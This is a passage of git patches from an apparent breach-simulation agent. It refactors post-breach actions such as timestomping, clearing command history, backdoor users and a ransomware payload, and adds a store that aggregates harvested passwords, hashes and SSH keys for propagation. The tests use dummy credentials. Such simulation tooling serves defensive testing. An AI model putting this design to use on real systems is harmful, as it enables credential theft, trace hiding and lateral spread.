Timestomping(self.telemetry_messenger), PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "AccountDiscovery", + AccountDiscovery(self.telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "ProcessListCollection", + ProcessListCollection(self.telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "TrapCommand", TrapCommand(self.telemetry_messenger), PluginType.POST_BREACH_ACTION + ) + puppet.load_plugin( + "SignedScriptProxyExecution", + SignedScriptProxyExecution(self.telemetry_messenger), + PluginType.POST_BREACH_ACTION, + ) + puppet.load_plugin( + "ClearCommandHistory", + ClearCommandHistory(self.telemetry_messenger), + PluginType.POST_BREACH_ACTION, ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) diff --git a/monkey/infection_monkey/post_breach/actions/change_file_privileges.py b/monkey/infection_monkey/post_breach/actions/change_file_privileges.py index 87338e229..c560cc5d3 100644 --- a/monkey/infection_monkey/post_breach/actions/change_file_privileges.py +++ b/monkey/infection_monkey/post_breach/actions/change_file_privileges.py @@ -3,11 +3,12 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.setuid_setgid.setuid_setgid import ( get_commands_to_change_setuid_setgid, ) +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class ChangeSetuidSetgid(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds = get_commands_to_change_setuid_setgid() super(ChangeSetuidSetgid, self).__init__( - POST_BREACH_SETUID_SETGID, linux_cmd=" ".join(linux_cmds) + telemetry_messenger, POST_BREACH_SETUID_SETGID, linux_cmd=" ".join(linux_cmds) ) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index 036c32d25..e6ab2d23e 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -6,20 +6,21 @@ from infection_monkey.post_breach.clear_command_history.clear_command_history im get_commands_to_clear_command_history, ) from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class ClearCommandHistory(PBA): - def __init__(self): - super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY) + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super().__init__(telemetry_messenger, name=POST_BREACH_CLEAR_CMD_HISTORY) def run(self): - results = [pba.run() for pba in self.clear_command_history_PBA_list()] + results = [pba.run() for pba in self.clear_command_history_pba_list()] if results: # `self.command` is empty here self.pba_data.append(PostBreachData(self.name, self.command, results)) return self.pba_data - def clear_command_history_PBA_list(self): + def clear_command_history_pba_list(self): return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas() class CommandHistoryPBAGenerator: diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py index d0a5c5e0d..409583d18 100644 --- a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py +++ b/monkey/infection_monkey/post_breach/actions/collect_processes_list.py @@ -5,6 +5,7 @@ import psutil from common.common_consts.post_breach_consts import POST_BREACH_PROCESS_LIST_COLLECTION from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -17,8 +18,8 @@ except NameError: class ProcessListCollection(PBA): - def __init__(self): - super().__init__(POST_BREACH_PROCESS_LIST_COLLECTION) + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super().__init__(telemetry_messenger, POST_BREACH_PROCESS_LIST_COLLECTION) def run(self): """ diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index e4523f0fd..60990d67a 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -7,6 +7,7 @@ import subprocess from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.auto_new_user_factory import create_auto_new_user from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.new_user_error import NewUserError @@ -33,9 +34,9 @@ class CommunicateAsBackdoorUser(PBA): are created. """ - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): super(CommunicateAsBackdoorUser, self).__init__( - name=POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER + telemetry_messenger, name=POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER ) def run(self): diff --git a/monkey/infection_monkey/post_breach/actions/discover_accounts.py b/monkey/infection_monkey/post_breach/actions/discover_accounts.py index 8fdebd0df..a153cf5b6 100644 --- a/monkey/infection_monkey/post_breach/actions/discover_accounts.py +++ b/monkey/infection_monkey/post_breach/actions/discover_accounts.py @@ -3,11 +3,15 @@ from infection_monkey.post_breach.account_discovery.account_discovery import ( get_commands_to_discover_accounts, ) from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class AccountDiscovery(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds, windows_cmds = get_commands_to_discover_accounts() super().__init__( - POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds + telemetry_messenger, + POST_BREACH_ACCOUNT_DISCOVERY, + linux_cmd=" ".join(linux_cmds), + windows_cmd=windows_cmds, ) diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index e3123192c..457b9dafe 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -1,6 +1,7 @@ from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.hidden_files import ( cleanup_hidden_files, @@ -17,8 +18,8 @@ class HiddenFiles(PBA): This PBA attempts to create hidden files and folders. """ - def __init__(self): - super(HiddenFiles, self).__init__(name=POST_BREACH_HIDDEN_FILES) + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super(HiddenFiles, self).__init__(telemetry_messenger, name=POST_BREACH_HIDDEN_FILES) def run(self): # create hidden files and folders diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index 5d3c3c5ea..4d755567b 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -6,6 +6,7 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import ( get_commands_to_modify_shell_startup_files, ) +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class ModifyShellStartupFiles(PBA): @@ -15,8 +16,8 @@ class ModifyShellStartupFiles(PBA): and profile.ps1 in windows. """ - def __init__(self): - super().__init__(name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION) + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super().__init__(telemetry_messenger, name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION) def run(self): results = [pba.run() for pba in self.modify_shell_startup_PBA_list()] diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index 37649488b..8aeb0b42d 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -4,6 +4,7 @@ from infection_monkey.post_breach.job_scheduling.job_scheduling import ( remove_scheduled_jobs, ) from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class ScheduleJobs(PBA): @@ -11,10 +12,11 @@ class ScheduleJobs(PBA): This PBA attempts to schedule jobs on the system. """ - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds, windows_cmds = get_commands_to_schedule_jobs() super(ScheduleJobs, self).__init__( + telemetry_messenger, name=POST_BREACH_JOB_SCHEDULING, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds, diff --git a/monkey/infection_monkey/post_breach/actions/timestomping.py b/monkey/infection_monkey/post_breach/actions/timestomping.py index ece987107..3e7c61f59 100644 --- a/monkey/infection_monkey/post_breach/actions/timestomping.py +++ b/monkey/infection_monkey/post_breach/actions/timestomping.py @@ -1,9 +1,15 @@ from common.common_consts.post_breach_consts import POST_BREACH_TIMESTOMPING from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.timestomping.timestomping import get_timestomping_commands +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class Timestomping(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds, windows_cmds = get_timestomping_commands() - super().__init__(POST_BREACH_TIMESTOMPING, linux_cmd=linux_cmds, windows_cmd=windows_cmds) + super().__init__( + telemetry_messenger, + POST_BREACH_TIMESTOMPING, + linux_cmd=linux_cmds, + windows_cmd=windows_cmds, + ) diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index 75ede03ee..d7323b54e 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -7,15 +7,20 @@ from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import cleanup_changes, get_commands_to_proxy_execution_using_signed_script, ) +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) class SignedScriptProxyExecution(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): windows_cmds = get_commands_to_proxy_execution_using_signed_script() - super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, windows_cmd=" ".join(windows_cmds)) + super().__init__( + telemetry_messenger, + POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, + windows_cmd=" ".join(windows_cmds), + ) def run(self): original_comspec = "" diff --git a/monkey/infection_monkey/post_breach/actions/use_trap_command.py b/monkey/infection_monkey/post_breach/actions/use_trap_command.py index 879db77bf..8dfbc9f5e 100644 --- a/monkey/infection_monkey/post_breach/actions/use_trap_command.py +++ b/monkey/infection_monkey/post_breach/actions/use_trap_command.py @@ -1,9 +1,12 @@ from common.common_consts.post_breach_consts import POST_BREACH_TRAP_COMMAND from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.trap_command.trap_command import get_trap_commands +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class TrapCommand(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds = get_trap_commands() - super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND, linux_cmd=" ".join(linux_cmds)) + super(TrapCommand, self).__init__( + telemetry_messenger, POST_BREACH_TRAP_COMMAND, linux_cmd=" ".join(linux_cmds) + ) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index b1ccec85c..91475e66d 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -8,6 +8,7 @@ from infection_monkey.control import ControlClient from infection_monkey.network.tools import get_interface_to_target from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.monkey_dir import get_monkey_dir_path @@ -23,8 +24,8 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ - def __init__(self): - super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super(UsersPBA, self).__init__(telemetry_messenger, POST_BREACH_FILE_EXECUTION) self.filename = "" if not is_windows_os(): diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 769ff2de0..9222d5e1a 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -6,7 +6,6 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.telemetry.attack.t1064_telem import T1064Telem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) @@ -18,7 +17,9 @@ class PBA: machine. """ - def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): + def __init__( + self, telemetry_messenger: ITelemetryMessenger, name="unknown", linux_cmd="", windows_cmd="" + ): """ :param name: Name of post breach action. :param linux_cmd: Command that will be executed on breached machine @@ -27,6 +28,7 @@ class PBA: self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name self.pba_data = [] + self.telemetry_messenger = telemetry_messenger def run(self) -> Iterable[PostBreachData]: """ From cafbe97880eb1a10955178a46f783d035026b15e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 24 Mar 2022 18:03:59 +0100 Subject: [PATCH 0911/1110] Agent: Add interface for Credentials Store --- .../credential_store/__init__.py | 1 + .../credential_store/i_credentials_store.py | 19 +++++++++++++++++++ 2 files changed, 20 insertions(+) create mode 100644 monkey/infection_monkey/credential_store/__init__.py create mode 100644 monkey/infection_monkey/credential_store/i_credentials_store.py diff --git a/monkey/infection_monkey/credential_store/__init__.py b/monkey/infection_monkey/credential_store/__init__.py new file mode 100644 index 000000000..636e9baa7 --- /dev/null +++ b/monkey/infection_monkey/credential_store/__init__.py @@ -0,0 +1 @@ +from .i_credentials_store import ICredentialsStore diff --git a/monkey/infection_monkey/credential_store/i_credentials_store.py b/monkey/infection_monkey/credential_store/i_credentials_store.py new file mode 100644 index 000000000..7730c99d2 --- /dev/null +++ b/monkey/infection_monkey/credential_store/i_credentials_store.py @@ -0,0 +1,19 @@ +import abc +from typing import Mapping + + +class ICredentialsStore(metaclass=abc.ABCMeta): + @abc.abstractmethod + def add_credentials(self, credentials_to_add: Mapping = {}) -> None: + """ + Method that adds credentials to the CredentialStore + :param Credentials credentials: The credentials which will be added + """ + + @abc.abstractmethod + def get_credentials(self) -> Mapping: + """ + Method that gets credentials from the ControlChannel + :return: A squence of Credentials that have been added for propagation + :rtype: Mapping + """ From b5d2d1d64172519a61a54cf0fa8cf1c0b33457bd Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 24 Mar 2022 18:39:17 +0100 Subject: [PATCH 0912/1110] Agent: Implement concrete Credentials Store --- .../credential_store/__init__.py | 1 + .../credential_store/credentials_store.py | 29 +++++++++++++++++++ 2 files changed, 30 insertions(+) create mode 100644 monkey/infection_monkey/credential_store/credentials_store.py diff --git a/monkey/infection_monkey/credential_store/__init__.py b/monkey/infection_monkey/credential_store/__init__.py index 636e9baa7..3b3f4475f 100644 --- a/monkey/infection_monkey/credential_store/__init__.py +++ b/monkey/infection_monkey/credential_store/__init__.py @@ -1 +1,2 @@ from .i_credentials_store import ICredentialsStore +from .credentials_store import CredentialsStore diff --git a/monkey/infection_monkey/credential_store/credentials_store.py b/monkey/infection_monkey/credential_store/credentials_store.py new file mode 100644 index 000000000..a0500804d --- /dev/null +++ b/monkey/infection_monkey/credential_store/credentials_store.py @@ -0,0 +1,29 @@ +from typing import Mapping + +from .i_credentials_store import ICredentialsStore + + +class CredentialsStore(ICredentialsStore): + def __init__(self, credentials: Mapping = None): + self.stored_credentials = credentials + + def add_credentials(self, credentials_to_add: Mapping) -> None: + if self.stored_credentials is None: + self.stored_credentials = {} + + for key, value in credentials_to_add.items(): + if key not in self.stored_credentials: + self.stored_credentials[key] = [] + + if key != "exploit_ssh_keys": + self.stored_credentials[key] = list( + sorted(set(self.stored_credentials[key]).union(credentials_to_add[key])) + ) + else: + self.stored_credentials[key] += credentials_to_add[key] + self.stored_credentials[key] = [ + dict(s) for s in set(frozenset(d.items()) for d in self.stored_credentials[key]) + ] + + def get_credentials(self) -> Mapping: + return self.stored_credentials From 162dd0a9200e67478780b7912b9fb308c4ec43e2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 25 Mar 2022 15:24:59 +0100 Subject: [PATCH 0913/1110] UT: Add Credentials Store tests --- .../credential_store/test_credential_store.py | 81 +++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py diff --git a/monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py b/monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py new file mode 100644 index 000000000..83382dc3e --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py @@ -0,0 +1,81 @@ +from unittest.mock import MagicMock + +import pytest + +from infection_monkey.credential_store import AggregatingCredentialsStore + +DEFAULT_CREDENTIALS = { + "exploit_user_list": ["Administrator", "root", "user1"], + "exploit_password_list": [ + "root", + "123456", + "password", + "123456789", + ], + "exploit_lm_hash_list": ["aasdf23asd1fdaasadasdfas"], + "exploit_ntlm_hash_list": ["qw4trklxklvznksbhasd1231", "asdfadvxvsdftw3e3421234123412"], + "exploit_ssh_keys": [ + { + "public_key": "ssh-ed25519 AAAAC3NzEIFaJ7xH+Yoxd\n", + "private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BdHIAAAAGYXjl0j66VAKruPEKjS3A=\n" + "-----END OPENSSH PRIVATE KEY-----\n", + "user": "ubuntu", + "ip": "10.0.3.15", + }, + {"public_key": "some_public_key", "private_key": "some_private_key"}, + ], +} + + +SAMPLE_CREDENTIALS = { + "exploit_user_list": ["user1", "user3"], + "exploit_password_list": ["abcdefg", "root"], + "exploit_ssh_keys": [{"public_key": "some_public_key", "private_key": "some_private_key"}], + "exploit_ntlm_hash_list": [], +} + + +@pytest.fixture +def aggregating_credentials_store() -> AggregatingCredentialsStore: + return AggregatingCredentialsStore() + + +@pytest.mark.parametrize("credentials_to_store", [DEFAULT_CREDENTIALS, SAMPLE_CREDENTIALS]) +def test_get_credentials_from_store(aggregating_credentials_store, credentials_to_store): + get_updated_credentials_for_propagation = MagicMock(return_value=credentials_to_store) + + aggregating_credentials_store.get_credentials(get_updated_credentials_for_propagation) + + assert aggregating_credentials_store.stored_credentials == credentials_to_store + + +def test_add_credentials_to_empty_store(aggregating_credentials_store): + + aggregating_credentials_store.add_credentials(SAMPLE_CREDENTIALS) + + assert aggregating_credentials_store.stored_credentials == SAMPLE_CREDENTIALS + + +def test_add_credentials_to_full_store(aggregating_credentials_store): + get_updated_credentials_for_propagation = MagicMock(return_value=DEFAULT_CREDENTIALS) + + aggregating_credentials_store.get_credentials(get_updated_credentials_for_propagation) + + aggregating_credentials_store.add_credentials(SAMPLE_CREDENTIALS) + + actual_stored_credentials = aggregating_credentials_store.stored_credentials + + assert actual_stored_credentials["exploit_user_list"] == [ + "Administrator", + "root", + "user1", + "user3", + ] + assert actual_stored_credentials["exploit_password_list"] == [ + "123456", + "123456789", + "abcdefg", + "password", + "root", + ] + assert actual_stored_credentials["exploit_ssh_keys"] == DEFAULT_CREDENTIALS["exploit_ssh_keys"] From 5060ddb5d1105d0938d6f7672451de73941041b7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 28 Mar 2022 15:11:20 +0200 Subject: [PATCH 0914/1110] Agent: Fix logic in concrete Credentials Store --- .../credential_store/__init__.py | 2 +- .../aggregating_credentials_store.py | 68 ++++++++++++++++++ .../credential_store/credentials_store.py | 29 -------- .../credential_store/i_credentials_store.py | 17 ++--- .../credential_store/test_credential_store.py | 69 ++++++++++++------- 5 files changed, 122 insertions(+), 63 deletions(-) create mode 100644 monkey/infection_monkey/credential_store/aggregating_credentials_store.py delete mode 100644 monkey/infection_monkey/credential_store/credentials_store.py diff --git a/monkey/infection_monkey/credential_store/__init__.py b/monkey/infection_monkey/credential_store/__init__.py index 3b3f4475f..e05ce3160 100644 --- a/monkey/infection_monkey/credential_store/__init__.py +++ b/monkey/infection_monkey/credential_store/__init__.py @@ -1,2 +1,2 @@ from .i_credentials_store import ICredentialsStore -from .credentials_store import CredentialsStore +from .aggregating_credentials_store import AggregatingCredentialsStore diff --git a/monkey/infection_monkey/credential_store/aggregating_credentials_store.py b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py new file mode 100644 index 000000000..d855b98dd --- /dev/null +++ b/monkey/infection_monkey/credential_store/aggregating_credentials_store.py @@ -0,0 +1,68 @@ +import logging +from typing import Iterable, Mapping + +from common.common_consts.credential_component_type import CredentialComponentType +from infection_monkey.i_control_channel import IControlChannel +from infection_monkey.i_puppet import Credentials + +from .i_credentials_store import ICredentialsStore + +logger = logging.getLogger(__name__) + + +class AggregatingCredentialsStore(ICredentialsStore): + def __init__(self, control_channel: IControlChannel): + self.stored_credentials = {} + self._control_channel = control_channel + + def add_credentials(self, credentials_to_add: Iterable[Credentials]) -> None: + for credentials in credentials_to_add: + usernames = [ + identity.username + for identity in credentials.identities + if identity.credential_type is CredentialComponentType.USERNAME + ] + self._set_attribute("exploit_user_list", usernames) + + for secret in credentials.secrets: + if secret.credential_type is CredentialComponentType.PASSWORD: + self._set_attribute("exploit_password_list", [secret.password]) + elif secret.credential_type is CredentialComponentType.LM_HASH: + self._set_attribute("exploit_lm_hash_list", [secret.lm_hash]) + elif secret.credential_type is CredentialComponentType.NT_HASH: + self._set_attribute("exploit_ntlm_hash_list", [secret.nt_hash]) + elif secret.credential_type is CredentialComponentType.SSH_KEYPAIR: + self._set_attribute( + "exploit_ssh_keys", + [{"public_key": secret.public_key, "private_key": secret.private_key}], + ) + + def get_credentials(self): + try: + propagation_credentials = self._control_channel.get_credentials_for_propagation() + self._aggregate_credentials(propagation_credentials) + except Exception as ex: + self.stored_credentials = {} + logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") + + def _aggregate_credentials(self, credentials_to_aggr: Mapping): + for cred_attr, credentials_values in credentials_to_aggr.items(): + if credentials_values: + self._set_attribute(cred_attr, credentials_values) + + def _set_attribute(self, attribute_to_be_set, credentials_values): + if attribute_to_be_set not in self.stored_credentials: + self.stored_credentials[attribute_to_be_set] = [] + + if isinstance(credentials_values[0], dict): + self.stored_credentials.setdefault(attribute_to_be_set, []).extend(credentials_values) + self.stored_credentials[attribute_to_be_set] = [ + dict(s_c) + for s_c in set( + frozenset(d_c.items()) for d_c in self.stored_credentials[attribute_to_be_set] + ) + ] + else: + self.stored_credentials[attribute_to_be_set] = sorted( + list(set(self.stored_credentials[attribute_to_be_set]).union(credentials_values)) + ) diff --git a/monkey/infection_monkey/credential_store/credentials_store.py b/monkey/infection_monkey/credential_store/credentials_store.py deleted file mode 100644 index a0500804d..000000000 --- a/monkey/infection_monkey/credential_store/credentials_store.py +++ /dev/null @@ -1,29 +0,0 @@ -from typing import Mapping - -from .i_credentials_store import ICredentialsStore - - -class CredentialsStore(ICredentialsStore): - def __init__(self, credentials: Mapping = None): - self.stored_credentials = credentials - - def add_credentials(self, credentials_to_add: Mapping) -> None: - if self.stored_credentials is None: - self.stored_credentials = {} - - for key, value in credentials_to_add.items(): - if key not in self.stored_credentials: - self.stored_credentials[key] = [] - - if key != "exploit_ssh_keys": - self.stored_credentials[key] = list( - sorted(set(self.stored_credentials[key]).union(credentials_to_add[key])) - ) - else: - self.stored_credentials[key] += credentials_to_add[key] - self.stored_credentials[key] = [ - dict(s) for s in set(frozenset(d.items()) for d in self.stored_credentials[key]) - ] - - def get_credentials(self) -> Mapping: - return self.stored_credentials diff --git a/monkey/infection_monkey/credential_store/i_credentials_store.py b/monkey/infection_monkey/credential_store/i_credentials_store.py index 7730c99d2..2ac10192b 100644 --- a/monkey/infection_monkey/credential_store/i_credentials_store.py +++ b/monkey/infection_monkey/credential_store/i_credentials_store.py @@ -1,19 +1,20 @@ import abc -from typing import Mapping +from typing import Iterable + +from infection_monkey.i_puppet import Credentials class ICredentialsStore(metaclass=abc.ABCMeta): @abc.abstractmethod - def add_credentials(self, credentials_to_add: Mapping = {}) -> None: - """ + def add_credentials(self, credentials_to_add: Iterable[Credentials]) -> None: + """a Method that adds credentials to the CredentialStore - :param Credentials credentials: The credentials which will be added + :param Credentials credentials: The credentials that will be added """ @abc.abstractmethod - def get_credentials(self) -> Mapping: + def get_credentials(self) -> None: """ - Method that gets credentials from the ControlChannel - :return: A squence of Credentials that have been added for propagation - :rtype: Mapping + Method that retrieves credentials from the store + :return: Credentials that can be used for propagation """ diff --git a/monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py b/monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py index 83382dc3e..1035de4d0 100644 --- a/monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py +++ b/monkey/tests/unit_tests/infection_monkey/credential_store/test_credential_store.py @@ -2,66 +2,83 @@ from unittest.mock import MagicMock import pytest +from infection_monkey.credential_collectors import Password, SSHKeypair, Username from infection_monkey.credential_store import AggregatingCredentialsStore +from infection_monkey.i_puppet import Credentials DEFAULT_CREDENTIALS = { "exploit_user_list": ["Administrator", "root", "user1"], - "exploit_password_list": [ - "root", - "123456", - "password", - "123456789", - ], + "exploit_password_list": ["123456", "123456789", "password", "root"], "exploit_lm_hash_list": ["aasdf23asd1fdaasadasdfas"], - "exploit_ntlm_hash_list": ["qw4trklxklvznksbhasd1231", "asdfadvxvsdftw3e3421234123412"], + "exploit_ntlm_hash_list": ["asdfadvxvsdftw3e3421234123412", "qw4trklxklvznksbhasd1231"], "exploit_ssh_keys": [ + {"public_key": "some_public_key", "private_key": "some_private_key"}, { "public_key": "ssh-ed25519 AAAAC3NzEIFaJ7xH+Yoxd\n", "private_key": "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BdHIAAAAGYXjl0j66VAKruPEKjS3A=\n" "-----END OPENSSH PRIVATE KEY-----\n", - "user": "ubuntu", - "ip": "10.0.3.15", }, - {"public_key": "some_public_key", "private_key": "some_private_key"}, ], } -SAMPLE_CREDENTIALS = { +PROPAGATION_CREDENTIALS = { "exploit_user_list": ["user1", "user3"], "exploit_password_list": ["abcdefg", "root"], "exploit_ssh_keys": [{"public_key": "some_public_key", "private_key": "some_private_key"}], - "exploit_ntlm_hash_list": [], } +TELEM_CREDENTIALS = [ + Credentials( + [Username("user1"), Username("user3")], + [ + Password("abcdefg"), + Password("root"), + SSHKeypair(public_key="some_public_key", private_key="some_private_key"), + ], + ) +] + @pytest.fixture def aggregating_credentials_store() -> AggregatingCredentialsStore: - return AggregatingCredentialsStore() + control_channel = MagicMock() + control_channel.get_credentials_for_propagation.return_value = DEFAULT_CREDENTIALS + return AggregatingCredentialsStore(control_channel) -@pytest.mark.parametrize("credentials_to_store", [DEFAULT_CREDENTIALS, SAMPLE_CREDENTIALS]) -def test_get_credentials_from_store(aggregating_credentials_store, credentials_to_store): - get_updated_credentials_for_propagation = MagicMock(return_value=credentials_to_store) +def test_get_credentials_from_store(aggregating_credentials_store): + aggregating_credentials_store.get_credentials() - aggregating_credentials_store.get_credentials(get_updated_credentials_for_propagation) + actual_stored_credentials = aggregating_credentials_store.stored_credentials - assert aggregating_credentials_store.stored_credentials == credentials_to_store + assert ( + actual_stored_credentials["exploit_user_list"] == DEFAULT_CREDENTIALS["exploit_user_list"] + ) + assert ( + actual_stored_credentials["exploit_password_list"] + == DEFAULT_CREDENTIALS["exploit_password_list"] + ) + assert ( + actual_stored_credentials["exploit_ntlm_hash_list"] + == DEFAULT_CREDENTIALS["exploit_ntlm_hash_list"] + ) + + for ssh_keypair in actual_stored_credentials["exploit_ssh_keys"]: + assert ssh_keypair in DEFAULT_CREDENTIALS["exploit_ssh_keys"] def test_add_credentials_to_empty_store(aggregating_credentials_store): + aggregating_credentials_store.add_credentials(TELEM_CREDENTIALS) - aggregating_credentials_store.add_credentials(SAMPLE_CREDENTIALS) - - assert aggregating_credentials_store.stored_credentials == SAMPLE_CREDENTIALS + assert aggregating_credentials_store.stored_credentials == PROPAGATION_CREDENTIALS def test_add_credentials_to_full_store(aggregating_credentials_store): - get_updated_credentials_for_propagation = MagicMock(return_value=DEFAULT_CREDENTIALS) - aggregating_credentials_store.get_credentials(get_updated_credentials_for_propagation) + aggregating_credentials_store.get_credentials() - aggregating_credentials_store.add_credentials(SAMPLE_CREDENTIALS) + aggregating_credentials_store.add_credentials(TELEM_CREDENTIALS) actual_stored_credentials = aggregating_credentials_store.stored_credentials @@ -78,4 +95,6 @@ def test_add_credentials_to_full_store(aggregating_credentials_store): "password", "root", ] - assert actual_stored_credentials["exploit_ssh_keys"] == DEFAULT_CREDENTIALS["exploit_ssh_keys"] + + for ssh_keypair in actual_stored_credentials["exploit_ssh_keys"]: + assert ssh_keypair in DEFAULT_CREDENTIALS["exploit_ssh_keys"] From eb6342e2f8ecd53a00ca3881fd31774390b26755 